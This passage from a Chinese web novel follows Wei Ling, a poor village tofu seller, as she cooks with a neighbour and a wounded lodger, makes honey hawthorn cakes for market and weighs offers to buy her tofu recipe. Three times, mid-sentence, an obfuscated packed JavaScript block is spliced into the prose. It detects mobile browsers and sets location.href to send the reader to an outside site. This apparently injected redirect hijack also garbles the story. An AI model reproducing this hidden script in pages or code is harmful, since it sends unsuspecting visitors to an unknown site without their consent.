“嫂子，你还会治病啊？” 卫菱崇拜地看向李寡妇，她觉得李阿嫂厉害极了。 李寡妇被卫菱看得老脸一红，“我娘是我们村的接生婆，以前在城里也给夫人们做过嬷嬷，会一点医理。我跟着她耳濡目染，也学了些皮毛。” 哇~！ 卫菱再次惊叹。 李寡妇受不住卫菱的星星眼，含笑戳了下她的额头。 “你这丫头，就让人家睡牛棚啊？” 卫菱不以为然地摊开手，“我家就这么一个能住人的地方了，而且是他自愿的。” “你啊你，”李寡妇像是戳上瘾般，又戳她一下，“还不算傻。” “呵呵呵呵。” 卫菱傻笑。 路边的男人，哪能随便捡。 轻则骗财骗色，重则全家不保。 ========= 卫菱将带有幼虫的蜂巢单独拎了出来，由李寡妇处理。其余的蜂巢，卫菱取了一点放到石臼中，用木杵捣碎使蜂蜜与蜂蜡分离。 随后将混合物用麻布过滤，用力挤压，滤到陶罐中。 在阴凉处静置1-2天后，舀去上层的杂质便算完成全部的工序。 蜂巢的残渣还不能扔，用冷水熬煮。融化后的蜂蜡浮在水面，冷却后凝固成蜡块。 蜡块卖到药房，能换不少钱。 李寡妇那边挑出来大半盘的蜂蛹。有些苏醒过来的，还在扭动它白白胖胖的身子。 卫菱扫了一眼就迅速转移了视线。 她最见不得这种蠕动的肥虫子了，光看看，她就浑身起鸡皮疙瘩。 “嗤。” 李寡妇笑道，“傻孩子，这东西香的很。” “嗯嗯嗯嗯~！” 卫菱将头摇成了拨浪鼓，“无福消受，实在是无福消受！” 她端起木盆，恨不得离厨房八百里远。 她宁可饿死，也不愿吃那肉！ 被滚烫的沸水淋过后的野鸡，毛一拔就脱落下来。 卫菱歘歘歘地揪着，地下很快就堆砌一座鸡毛小山。 有些细细的绒毛还在鸡皮上，用手薅不下来。 她端着鸡兄避开李寡妇去灶台边，用火缓缓灼烧它的体表。火焰一接触，参与的最后一点毛毛很快消失殆尽。 卫菱将鸡放到案板上，打开大门，端着木盆把水撒到门外。 “呦，小卫女没出摊啊。” “啊，啊！”卫菱轻挪身子，巧妙地挡住门缝，“豆价太高，生意难做。婶子溜达去啊？” 村长夫人伸脖子想往院子里瞧，但有卫菱挡着，什么都看不见。 她笑意尬在脸上，应声道：“啊，闲着无事，溜达溜达。” “婶子慢慢溜达哈。” 卫菱后退一步，唰地就关上了门。 有鬼！ 村长媳妇抻着头，用力嗅着。 禽类的毛发一沾水，便有很大的臭味，久久不散。 村长媳妇一闻便猜到院里在干嘛。 “真是一人吃饱全家不饿，饭都吃不起了，还能有肉吃。” 村长媳妇连咽几口吐沫，撇撇嘴走了。 “呼！” 卫菱靠在门上，拍了拍胸口。 吓死个人了！ 就这么点肉，她可舍不得分出去。 地上的鸡毛被卫菱用布兜小心收好，改天她有空还能用它做个鸡毛掸子。 卫菱手起刀落，将鸡斩成小块，放在盆里用冷水浸泡去除血水。 鸡屁股，她都不舍得扔。 好歹是块肉。 虽然她对其有些心理障碍，但她可以给徐子烈吃啊，那家伙看着就不挑食。 前些天跟李寡妇在山上采的蘑菇还没晒干。用温水泡一会儿就行。 还没到晚饭的时辰，大多数人要么在地里准备过些日子的春耕，要么还在城里做工没回来。 卫菱当机立断，做贼似的开始起锅烧油。 此时部炖鸡，更待何时！ 热锅冷油，放入姜片、山葱段、野蒜瓣和野蒜叶炒香。随后，倒入鸡块，大火煸炒至表面微黄，逼出油脂。 肉香一下子就在院里蔓延开来。 牛棚里的徐子烈鼻尖耸动，缓缓睁开了眼。 卫菱往锅里加入少许的醴酒去腥，继续翻炒至鸡肉收紧。 泡好的蘑菇连同泡蘑菇的水一起加入锅中翻炒，用酱清和盐调完味后，卫菱又加了一点点蜂蜜代替糖来提鲜。 热水没过鸡肉，大火烧开后转小火炖煮。 卫菱拿起火钳拨动灶里的柴火，调整好火候后，她和了点秫面（高粱面），准备一会儿在锅边贴几个饼子。 李寡妇用细荆条穿起蜂蛹，架在火上炙烤。烤至微焦后，她问卫菱要来盐或和茱萸粉，均匀地撒上薄薄一层，去腥增香。 蕨菜焯水后挤干切段。锅里的水先不急着处理，将蜂蛹也在沸水里烫一下。 热锅热油，用野葱、姜末爆香，再将蜂蛹加进去翻炒。待到白色的蜂蛹变得焦黄后，倒入蕨菜段，撒盐、茱萸粉，快速翻炒均匀。 卫菱坐在凳子上，龇牙咧嘴地强忍内心的不适，帮李寡妇看着烤蜂蛹的火候。 她在亲眼见到蜂蛹进了她的锅里后，悬着的心终于死了。 锅她不想要了！ 但是她没钱！ 锅还得要！ “唉！” 卫菱从肺里挤出一口长气。 钱真是个好东西啊！ 大概申时初到申时中，太阳还未落山，卫菱几人便在屋子里借着光亮开始吃晚饭。 门窗被关得严严实实，连厨房里的锅都被卫菱和李寡妇刷了四遍，生怕飘走的肉味被左邻右舍闻到。 山鸡常年在山林中奔跑，肉质极嫩。蘑菇在炖煮的过程中吸足了汤水，口□□汁。 红褐色的秫面（高粱面）饼子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15500534|170322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在金黄微褐的汤汁中泡过，粗糙的质感柔和不少。浓稠的汤汁包裹在饼子外表，粘糯的胶质感化解了划过咽喉的酸涩。 卫菱咽下口中咀嚼着的食物，在心中感叹，可算是吃到“肉”了！ 要是有粉条该多好！ 卫菱用筷子挟了块蘑菇，慰藉心头的遗憾。 “妹子，你要是接受不了菜里的，尝尝这烤得？” 卫菱身子后仰，极力想避开李寡妇伸来的串串。 “我替她吃吧。” 徐子烈眼神热烈地盯着焦黄的蜂蛹，喉结上下滚动，眼里赤裸裸地“想吃”。 卫菱像是找到了救星，疯狂点头。 “大馋小子！” 李寡妇没好气地白了徐子烈一眼。 “吃啥补啥。” 李寡妇将半串蜂蛹给徐子烈递了过去。趁卫菱分神的瞬间，李寡妇手疾眼快，抓起一只，就塞进了卫菱嘴里。 “嗯？” “嗯！” “嗯~” 李寡妇用死死捂住了卫菱的嘴。 脑子慢了舌头一步，卫菱反应过来的时候，已经品尝出其中的奥妙了。 蜂蛹表皮焦香，味道和烤蚕蛹有些像，满满的高蛋白。嚼着嚼着，还能从中感受到一种类似烤松子和杏仁混合的浓郁坚果香气。 卫菱朝李寡妇竖起大拇指，“好吃！” 碍于心里那道坎，卫菱闭上眼睛，自己又尝了一个。 犹如打开新大陆吧，卫菱扩展了新食谱。 连吃两个后，任凭李寡妇如何推销，卫菱死活不再尝试，专心于山鸡野菌。 见此，李寡妇也没强求。 她拿起汤勺，想给碗里的饼子浇些菜汤。 一拿起勺，她觉得力道不对。 定睛一瞧，徐子烈那小子吃了大半盆了！ “你小子，属饕餮的吧！” 感受到了压力，李寡妇也不逗卫菱玩，开始“认认真真”吃饭。 再不抓紧，李寡妇觉得徐子烈就要捧着菜盆舔舐汤汁了！ 太阳西偏，屋里变得昏暗。 卫菱三人捧着肚子，叉着腿，咿咿呀呀的。 难得吃顿货真价值的肉，无一例外，全都吃撑了。 歇了半晌，李寡妇开始起身收拾碗筷。 “嫂子，让他来吧。” 卫菱用手指向徐子烈。后者一听，乖乖起身，从李寡妇手中抢碗。 “啧！” 李寡妇一巴掌拍开徐子烈的手，“你这伤口不能沾水。” 卫菱这才反应过来。 今日饱餐全是人家徐子烈的功劳。鸡是人家带来的，蜂蛹是人家取的。 “嫂子，你今晚要不别回去了，留在家里睡吧。” 卫菱接过李寡妇洗完的碗，用抹布擦干。 “我明天有点事，想请你帮忙。” 李寡妇眼神朝牛棚的方向不经意的瞥过去又收回。 她以为卫菱是不敢跟徐子烈一起住，想找她陪着，便答应了。 “诶，好。” 干完活，卫菱给李寡妇翻出了一套干净的被褥和枕头。 说来惭愧，她家里总共也就三套床褥。现在想多一套都没有，都被用着呢。 洗漱完，卫菱自觉钻到了床榻里侧。 “嫂子，你吃过酸朹吗？”卫菱侧过身，注视着李寡妇。 “酸朹？那玩意怎么吃？咬一口牙都要酸掉了。” 李寡妇皱眉，下意识吞咽口水。 光联想，她都能想到其酸涩的口感。 她拧眉，面上嫌弃极了。 卫菱没说话，蜷起身子调整了下姿势。 以前一个人睡，她没觉得什么。 现在枕边多了个人，卫菱觉得被子好像没那么凉，热乎了不少。 8. 萝卜丝红面疙瘩汤、蜂蜜山楂果、黄米面蜂蜜…… 清晨，卫菱再次被生物钟自然唤醒。 她转过身，见李寡妇还在熟睡中，便把脸埋在被子里，又温存了会儿。 心中惦记着事，怎么躺都睡不着。 卫菱小心翼翼地起身，避开李寡妇的腿，从床脚遛下了床。 她抱起架子上的衣服，冰凉的触感令她打了个哆嗦。 她朝床上看了眼，见李寡妇没醒，她趿着鞋，用最小的动静朝外间走，去那边穿衣。 秫面里舀入少许冷水，快速搓成细碎的小疙瘩。青萝卜先切片再切丝，下锅炒软后加水，烧开后倒入面疙瘩，边煮边搅。 一点点的盐和少许的酱清调味。 等紫红色的面疙瘩的边缘呈现出半透明色后，卫菱调整炉灶的火焰，令其处于仅保温的状态。 牛棚里的徐子烈在厨房传出动静的时候就醒了。 他阖眼，直到听见叮叮当当的声音消停下来，他才佯装刚起床的样子。 卫菱拆开他的纱布看了眼伤口。 也不知是这小子皮糙肉厚抗造，还是李寡妇处理及时，除了脸上还肿着，身上已经好转不少。 卫菱按李寡妇的嘱咐，帮他重新上了遍药。 身上的伤口少，大多数都在露出来的脸和手上。 绿色的汁液覆盖在紫红色的红肿区，再配上肿成猪头的脸，卫菱实在没忍住，噗嗤一声笑了出来。 “里笑森末？” 徐子烈一脸茫然。 无辜的表情更加戳中了卫菱的笑点。 “歪！” 徐子烈拧眉，推了卫菱一下。 “没事，哈哈哈哈哈，没事。” 卫菱调整好呼吸，尽量让自己的脑子保持空白，心无旁骛。 然而，当她的目光跟徐子烈幽怨的眼色一对上，瞬间就没忍住，抱着肚子笑了起来。 “哈哈哈哈哈哈哈哈哈哈……” 吃早饭的时候，徐子烈背对着餐桌，端着自己的饭碗埋头吃饭。 卫菱低着头，用勺子舀起一点，嘴唇刚碰到食物的边缘就嘿嘿嘿地偷笑。 每每这时候，徐子烈就会故意咳嗽两声。 李寡妇的视线在二人身上看来看去，也没看明白是怎么回事。 莫名其妙！ 与以往不同，徐子烈难得最早吃完。 他把碗筷重重地拍在桌子上，气鼓鼓地回到牛棚，用背对着她们。 “噗~哈哈哈哈……” 李寡妇用胳膊肘怼了下卫菱，又用下巴冲着徐子烈那边点了一下，“怎么回事？” “没，”卫菱摆手，“没事。” 李寡妇蹙眉，心里再次浮起一句话。 莫名其妙！ 吃饱喝足，卫菱跟李寡妇大致讲了一下她所求之事。 现在就算不用排队就能抢到豆子，卫菱也没钱买。 月底官府就会征税，摊子也要交摊位费。 这要交的钱可是片刻也不容缓的。 卫菱必须得找个营生度过这段艰难的过渡期。 原本她还没什么头绪，但昨日发现的蜂巢给了她不小的灵感。 去岁秋冬，卫菱从城里卖豆腐回来的时候，无意间在路边发现了一棵酸朹树。她每天都用推车采了些回来，攒着攒着就堆满了一筐篓。 她嘴馋的时候，也吃过。 但味道太酸，实难下咽。 她也曾想过用糖煎一下试试。 但糖太贵，她买不起。 徐子烈带回来的蜂巢足足产了两罐子蜜。分给李寡妇一罐，卫菱还剩一罐。 她昨天问李寡妇也是这个意思。 人们都嫌酸朹酸涩，吃的人本就不多。 若是她能用蜜糖综合掉它的缺点，放到集市必然不愁没生意。 秋分至霜降期间，酸朹口感清脆，而经霜后的酸朹口感会更绵软。 卫菱带着李寡妇在豆腐间各取了一些出来。 霜前的酸朹剩的比霜后的多。 霜后的酸朹，卫菱大部分卖到了城里的药铺，一小部分又切成了果干泡水喝。 是以，卫菱只抓了一小把出来。 卫菱把它递给了李寡妇，自己抱着多得那份。 削尖的细竹枝从酸朹底部旋转刺入，推出果核，泡到清水中防止变色。 在这个过程中，力道稍有不慎，便会划伤手部。 若是没掌握好巧劲，酸朹也会整颗裂开，影响卖相。 卫菱和李寡妇俩人忙活一上午，才堪堪处理完准备工作。 没想过进度会在一开始就卡住。 急着干活，中文卫菱和李寡妇就草草对付了一口，完全不管徐子烈哀怨不满的凝视，二人便开始忙活剩余的工序。 那些霜后的酸朹和卖相不好的，统统都倒进了锅里，用清水大火煮沸后小火炖煮。 直至酸朹果皮裂开后，卫菱用纱布将其过滤，去掉杂质。 果茸倒回锅中，文火翻炒至浓稠。 卫菱将其转移到碗里。等碗摸起来不烫手后，少次多量地加入蜂蜜，搅拌均匀，放在一边冷却。 熬糖浆是个极难的技术活。 既要看好火候，防止把糖熬焦糊；又要关注锅里糖浆的状态。 必须要在糖浆用筷子一蘸，滴入冷水中能脆断的时候，才能用酸朹串去裹糖。 卫菱和李寡妇连试三次，都以失败告终。 不是糊了，就是根本熬不到火候。 李寡妇从盘子里失败的糖浆上掰了一小块，尝了一口。 又苦又甜的。 “再试一下吧，别心疼蜜，你分嫂子那一罐，都拿去用吧。” 卫菱沮丧地心一下就软了。 她虽是女子，也是言出必行的！ 说好了送给李寡妇，那就万万没有要回来的道理。 她调整了一下状态，对着李寡妇点头。 “再来！” 皇天不负苦心人，终于在第八次的时候，卫菱和李寡妇二人迎来的第一根胜利的糖浆段。 “成功了！嫂子！我们成功了！” 卫菱激动地蹦了起来，她搂住李寡妇，在原地蹦跳，高兴极了。 时不我待。 卫菱趁热打铁，将串好的酸朹串在蜂蜜中快速旋转一圈，提到锅的上空停顿下，等糖浆自然留下形成薄层后，干脆利落地拍到提前刷了浅浅一层猪油的盘子上。 趁酸朹串冷却时，卫菱和李寡妇赶紧将锅里的糖浆舀了出来，免得一会儿凉了不好刷锅。 刚才盛到碗里的酸朹糕已经凝固。 卫菱用刀切成小块，分给李寡妇一块后，自己也尝了一下。 蜂蜜的甜味包裹住酸朹尖锐的酸味，糕体绵密黏糯，咽下后喉咙微微生津，回甘中还有残留的清新酸朹果香。 “妹子，你这真是神了！” 李寡妇从没吃过这样口味的食物。酸酸甜甜的，比她吃过的饴糖还好吃。 不是单一的口感，是一种层层递减、层次丰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15500535|170322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 富的复合感。 她吃完还想吃。 注意到李寡妇目光盯着酸朹糕，卫菱大大方方地把碗朝李寡妇递了过去。 “嫂子，吃！” 牛棚里传来窸窸窣窣地翻身声，卫菱脑海中不受控制地浮现出早上徐子烈的那张惨不忍睹的脸。 “徐子烈，有好吃的吃不吃？” 就等着这个台阶呢！ 卫菱话音刚落，那边就传来了回应。 “吃！” 盘子里的酸朹串尚未凝固，但卫菱有些迫不及待。 她小心翼翼地抓着签字，努力在不破坏糖衣的情况下，将其从盘中分离。 奈何还是技术不到位。 糖衣东缺一块，西漏一块的。卖相上，就已经不如红彤彤的酸朹糕了。 她咬了一颗含在嘴里。 蜂蜜到底不如白砂糖，糖衣偏软，脆度不足，而且有些硌牙。 糖浆的甜腻并没有很好地中和掉酸朹自身的味道。口感上，甜腻是甜腻，酸涩是酸涩。 即使用牙齿碾磨后，在口腔里混合，也没有酸朹糕的滋味儿好。 从制作工艺上看，酸朹糕她自己一个人就能完成。酸朹串需要她和李阿嫂不断磨合才能试成功，不仅费时间，还费力、废材料。 两两对比后，卫菱心里大致有了数。 她分别给李寡妇和徐子烈都递了一串酸朹，让她们尝尝。 显而易见，二者都跟她一样，对酸朹糕的评价更胜一筹。 卫菱又咬了一颗酸朹，细细嚼着。 她看向碗里刚才试验失败的糖块块，没头没脑地蹦出一句，“晚上吃黍面窝窝头吧。” 淡黄色的黍面用沸水烫面，边倒水边搅动，至絮状。放凉后，再和面。 失败的蜂蜜糖也用沸水化开放在一旁备用。 面团揉圆后搓长，揪下来一小块。 用手戳面团，让其形成一处凹陷后，用汤匙从碗里舀起一勺蜂蜜水，倒进去。 随后将底部封好，确保糖水不会流淌出来后，再调整形状，让其外观更接近于窝窝头的模样。 早上的萝卜还剩半根。 卫菱把它全切成了丝，准备熬一锅萝卜汤。 又粘又糯的黍面自身就带有微微的甘甜，很浅很浅，需要细细咀嚼才能品尝出些许。 蜂蜜水在高温的作用下，很好的融入了黍面中，增强了它的甜味。 咬一口下去，粘稠的糖浆滚烫地差点烫坏徐子烈的舌头。 他像是小狗散热般，伸着舌头，大口喘着粗气。 李寡妇看见了，笑得见眉不见眼的。 她好像有些明白早上卫菱在笑些什么了。 连着在卫菱这蹭了几天饭，她都有些猜到为什么徐子烈要赖在卫菱家不走了。 如此美食，人间难得啊！ 吃饱喝足，徐子烈心情大好，主动包揽起刷碗大业，开始结束伤员的特殊待遇。 趁着天亮，卫菱和李寡妇继续用竹签给酸朹去核。 下午的时候，卫菱熬酸朹的时候就在想或许用水泡一下，软化掉果皮的酸朹会更容易操作些。 她用水泡了计算好的用量，想着反正也不影响。 结果还真如她所想，比上午轻松不少。 也不知是技法熟练，还是泡水起了大作用。天色暗下来之前，卫菱和李寡妇就处理完了全部的酸朹。 卫菱用手揉着酸痛的脖颈，对李寡妇道：“嫂子，再留一晚上吧。” 9. 好消息 “放心吧，嫂子，这条路我一个人走惯了的。” 卫菱挥挥手，跟站在门口送她的李寡妇和徐子烈告别后，开开心心地推车朝城里走。 可算是能赚钱了！ 卫菱不在家，李寡妇也不方便再留下。 她跟徐子烈打了声招呼后，回家准备拿上工具去地里瞧瞧。 “这么多人啊！” 卫菱垫着脚，抻着脖子往前望。 城门还没开，排队的百姓都能把城门攻下来了。 卫菱往边缘偏了偏，免得人群拥挤，撞坏她车上的酸朹糕。 “小卫女，你这消息够灵通啊！我们豆子都没买上，你这就开始卖豆腐啦？” 在卫菱摊位附近卖野菜的赵大娘从后边挤了过来。 买豆子？ 卫菱愣住。豆子都贵成那样了，她哪有钱买啊！ 赵大娘精明的小绿豆眼在卫菱脸上巡视一圈，见她根本没明白她在说什么，赵大娘立马打住话茬。 “诶呦，别挤，急什么啊！去投胎啊！” 赵大娘恶人先告状，用肥胖的身子往前钻，很快就往前进了两层的距离。 卫菱一头雾水。 但从赵大娘的话里，不难推测，豆子好像降价了。 怕消息有误，会更失望，卫菱没全信。 但倘若是真的，那她就不担心没钱交税了！ 卫菱刚到摊位，果然有不少老顾客围了过来。 “小卫女，我馋你卖这豆腐可是馋了好几天了！” “可不是，往日总买个一块回去还不觉得，但这断货几天，还真让人惦记。” 卫菱脸上堆起歉意的笑容，“不好意思啊，我不知道豆价降了，今日卖的不是豆腐。” 她抓紧速度，把车上的东西往下拿。 “不是豆腐？” 几个老客互相瞅瞅，开始交头接耳。 “小卫女说笑吧，自你摆摊开始，也没见过你卖别的啊！” 正巧，卫菱刚把东西摆好。 众人一瞧，还真不是豆腐。 是红彤彤的方块。 卫菱将提前准备好的，用来试吃的边角料碗捧着往人前送。 “这不是前些日子豆子太贵，恰巧家里屯的豆子也用光了，就找了点别的吃食顶一下，没想到这豆价这么快就降回来了。” 卫菱的碗里，切得细小的酸朹糕上提前用削短的竹签叉好，想吃只需要一提起来就能拿走。 “诸位尝尝，这是我新研究的酸朹糕，酸酸甜甜，开胃爽口。” 卫菱捧着碗转了一圈，每一个人愿意品尝。 “真的很好吃的，尝尝又不要钱。” 说完，她又把碗往前伸了一点。 果然，一听不花钱，大伙纷纷朝卫菱手里的碗伸出了手。 卫菱经过昨日的试验，今日的货里，卫菱加的蜂蜜比昨天多了一点。 众口难调，有人爱酸，有人嗜甜。 但糖价高昂，酸朹甜一些，总归不是缺点。 跟豆腐不同，酸朹糕不过是零嘴罢了。 是以，大伙尝完，虽然被它独特的味道惊艳地眼前一亮，但都是平头百姓，没人舍得花钱买这不顶饱的花哨回去。 出师不利，卫菱的情绪有些低落。 若是中午前还无人问津，她干脆买好豆子回去算了。 这些酸朹糕，她跟李寡妇、徐子烈留着自己吃！ 这样想着，卫菱朝酸朹伸出手，想自己吃一块。 手还没碰到，就自动拐了个弯，绕到了试吃碗。 哎！ 她这舍不得钱的穷酸劲儿呦！ “小娘子，这能尝吗？” 卫菱正耷拉脑袋蹲在地上数蚂蚁呢，一听有客，她赶紧起来招呼，“能……” “不能！” 卫菱盯着问话女客的肚子，蹭地一下就从女客手里把试吃的酸朹糕抢了回来。 许是举动有些过激，卫菱挠挠头，有些不好意思。 “夫人怀有身孕，酸朹糕不适食用。” 她认真地朝女客解释。 虽然孕期可以适量食用酸朹，但眼前的夫人肚子像块山石头似的，估摸得是没几个月就瓜熟蒂落，卫菱可不敢赌。 为了赚几个子，回头人家吃出问题，她可赔不起。 “这样啊！” 那女客一脸遗憾，眼神还停留在酸朹糕上不肯移开。 卫菱的脑子里有两个小人在打架。 理性告诉卫菱千万别心软，感性疯狂地教唆卫菱让夫人吃一小块试吃的酸朹糕，没事的。 心里的纠结还没出结果，问话的女客已经不在她的摊位了。 “唉！” 卫菱叹口气，继续蹲下去数蚂蚁了。 一个铜板一块的酸朹糕，真材实料，童叟无欺。 奈何卖到午时，卫菱总共才卖出去两个铜板，还是从私塾偷跑出来的混世小魔王买的。 不过，用来试吃的碗里，倒是一点也没剩。 几天没来摆摊，中午吃饭还吃习惯了，现在她的肚子隐隐有些饿。 卖出去的钱，还不够她买个大饼的。 卫菱叹息着，从摊上摸了块酸朹糕自顾自地吃了起来。 等她压一压，过会儿买完豆子就回家算了。 正嚼着呢，眼前忽地一暗。 “小卫女，改行啦？” 是水为乡的乔疱人啊！ “乔大叔少打趣我了，您也看到了，我要真改做这酸朹糕，怕是连饭都吃不起了。” 乔疱人听出卫菱话里的幽怨，笑了起来。 “小卫女有没有考虑过，把豆腐方子放出去，做点轻松的营生？” 卖方子？ 卫菱眼眸微微眯起，察觉到乔疱人话里有话，没接茬。 乔疱人见卫菱眼里的警惕，搓搓手，面上有些尴尬。 “小卫女，实不相瞒，您断货这些天，我们酒楼不少客人点名要吃金镶白玉羹。可您不出摊，我们压根做不了这菜。” 原是如此。 卫菱眨眨眼。 以前她不是没想过把方子卖出去。做豆腐起早贪黑是个辛苦活，但赚的钱与付出根本不成比列。 但卖方子，只能够她维持一小段生计，不能长久。 她又没有土地，院里的小菜园根本不能填饱肚子。 加上今日，卫菱第一次售卖豆腐意外的货，结果显而易见。 “乔大叔放心，明日我就准时来这摆摊买豆腐了，保证能让水为乡的客人尝到金镶白玉羹。” 聪明人说话，点到为止。 乔疱人听懂了卫菱的意思，跟卫菱买了五块酸朹糕便谎称楼里有事，急急忙忙走了。 卫菱掂量手里的铜币，心头有些复杂。 她没打算收钱，但乔疱人硬塞给她，她也不好拂长辈的意不是。 她把钱收进荷包，开始收拾摊子。 她想回去了。 还是老老实实卖豆腐吧！ “我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15500536|170322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这是来晚了？娘子的豆腐可是卖光了？” “没有没有，买豆腐请您明日再来。” 卫菱头都没回，低声道。 “娘子这豆腐方子可卖否？” 嗯？ 卫菱皱眉，又来一个买方子的！ 她转过身，是徐家的那个…… 那个什么来着？ 卫菱一时想不起来，但答案就在嗓子眼呼之欲出，憋得她难受。 “小卫女，实不相瞒……” 卫菱身子往后倚靠，靠到推车上。 这话怎么那么耳熟呢！好像刚才乔疱人也是这么说的！ “我家徐夫人极爱小卫女家这豆腐，您没出摊这些日子，我家夫人是日思夜想，您这摊位我可是每天都派人来蹲守……” 王富吧啦吧啦说了一大堆的话。 卫菱目光直直地盯着他，看似在听，实则一个字也没往耳朵里进。 要不然，把方子卖出去算了？ 已经有两个买家了，价高者得？ “你能出多少？” 卫菱不想再听王富废话，直截了当切入正题。 卫菱推车，朝集市的东边走去买豆子。 路上瞧着，之前挂牌子的店铺果然把牌子撤了。 她推着车，站在水为乡门口，忽然走不动路了。 货比三家，要不然问问乔疱人的价？ 心里这样想着，卫菱已经把车靠边停好，朝水为乡门口走过去了。 从水为乡出来，卫菱若有所思。 她机械地去店里买完豆子，回家的路上，她脑子里一直在思考这个事情。 回到家，卫菱发现徐子烈竟然没在牛棚里！ 她里里外外找了一圈，也没看见他。 “人呢！” 卫菱嘀咕了一句。 卫菱按照之前的用量，舀出豆子用水泡上。 忽然，卫菱想到今天来光顾摊位的人群，又往里添了些豆子和水。 厨房里只有剩的黄米面蜂蜜窝窝头，卫菱也不管凉不凉的，拿起一个啃了起来。 卖？ 不卖？ 卖？ 不卖？ 卫菱天人交战，闹心极了。 思来想去，她觉得自己还是得找个人商量商量。 牛来村里，卫菱觉得对她最好的便是村长了。 当初她一个孤女来到此处，若不是村长收留，她难以活到今日。 但是村长媳妇儿这个人就让卫菱不想接触。 尽管大是大非上，村长媳妇儿还是说得过去的；可卫菱就是不喜欢她身上那股算计的精明味。 身体先于脑子。 卫菱反应过来的时候，已经站到了李寡妇家门外了。 “嫂子，你在家吗？” 卫菱敲了半天门都没人应。 她猜测李寡妇应该是有事出去了，没在家。 往家走的时候，卫菱瞧见扛着锄头刚从地里走回来的妇人和男丁，她这才反应过来，最近该耕种播种了，李寡妇也应该是去地里干活了。 田里人来人往的，卫菱也过了刚才脑子一热的劲头了，便没改变路线，回了家。 “诶，你刚才去哪了？怎么没在家啊？” 卫菱推开门，就瞧见徐子烈突然出现在了牛棚里。 “奥，我自己在家无事干，出去转了一圈。” 卫菱心里藏着事，压根没注意到徐子烈一脸心虚的表情。 她点点头，朝屋里走。 10. 韭菜盒子 地里的韭菜一茬接着一茬，长得快极了。这几天再不吃，眼瞧着就老了。 卫菱用镰刀贴着菜根嗖地一划，翠绿的嫩苗就被割了下来。 菜园子边上，很快就堆起一座韭菜小山。 春天一到，万物生机勃勃。 卫菱顺手清理菜园的杂草时，瞧见了几颗马齿菜。 它贴着地皮生长，茎叶肥厚。紫红的茎匍匐如蚯蚓，顶端昂起一簇青绿，瞧着像马的牙齿般。 卫菱把用镰刀尖贴着土面一撬，马齿菜就被连根拔起。 她把它捏在手里端详着，混沌的脑子仿佛有了一丝清明。 韭菜抓住根部，抖落掉泥土和干枯的烂叶。用刀切除老根后，放入盆中，加清水淹没，一根根捋洗。 韭菜的叶片根部易藏泥，若是不搓洗，吃得时候难免硌牙。 麦粉加一点点盐混合，分次倒入热水，边倒边用筷子搅拌成絮状。随后用手揉捏，将它团成体表圆润光滑后，盖上湿布醒发。 洗干净的韭菜切成碎丁后，卫菱偷瞄了一眼在院里劈柴的徐子烈。 见他在认真地干活，眼神一点没往厨房瞧后，她偷偷摸摸地从柜子的深处摸出一个密封严严实实的小罐子。 卫菱手脚麻利地用一个干净的调羹舀了一勺芝麻油，倒进韭菜里。接着，她立马把罐子密封好，放回了原地。 加了芝麻油的韭菜，能锁住它自身的水分，待会儿加了盐便不会出水。 芝麻油香味浓度，顺风一吹，满院飘香。 徐子烈鼻子嗅了嗅，乐颠颠地扔掉手里的斧子朝厨房跑。 “好香啊！” 卫菱此时正在炒鸡蛋，没吱声。 蛋清混着蛋黄一接触油锅，立马发出噼里啪啦地声响。 “干活去！” 热油顺着声音往外飞溅，卫菱推了徐子烈一把，“别站在这里碍手碍脚。” 许是心里烦躁，卫菱都没注意到她的语气有多差。 好凶啊！ 徐子烈摸了摸鼻子，乖乖听话走了。 一边走，还一边回头。 他刚才就站在油锅边上，他问得真切，他被吸引来厨房的香味，不是炒鸡蛋的香味。 卫菱用锅铲将鸡蛋快速搅拌几下后，金黄的鸡蛋碎黄澄澄的，诱人极了。 她咽了下口水，将它转移到了韭菜里搅拌混匀。 醒好的面团搓成长条，切剂子，擀成中间厚边缘薄的圆皮儿。放上馅料，将其对着，捏成半月形，边缘捏紧后，拇指压食指一推，锁成防止露馅的花边。 韭菜盒子易熟，在热锅里很快就煎至两面金黄。 去岁冬天，卫菱囤的萝卜好像囤多了，现在还有满满两大筐呢。 卫菱洗了一根，切成丝后，就着油锅熬了萝卜丝汤。 刚出锅的韭菜盒子外皮金黄酥脆，轻轻一咬就能听到“咔嚓”一声脆响。柔软的面皮里浸润了韭菜和鸡蛋的香气，滚烫的韭菜鸡蛋馅烫的舌头微微发疼。 炖煮后的萝卜去除了本身的辛辣，释放出天然的甜味，热汤鲜甜，中和了韭菜盒子的干噎口感。 “明日我要起早干活去城里卖豆腐，你今晚早些睡，明天帮我推磨。” 卫菱说完，挟了一筷子萝卜丝吃进嘴里，看向徐子烈。 “噢。” 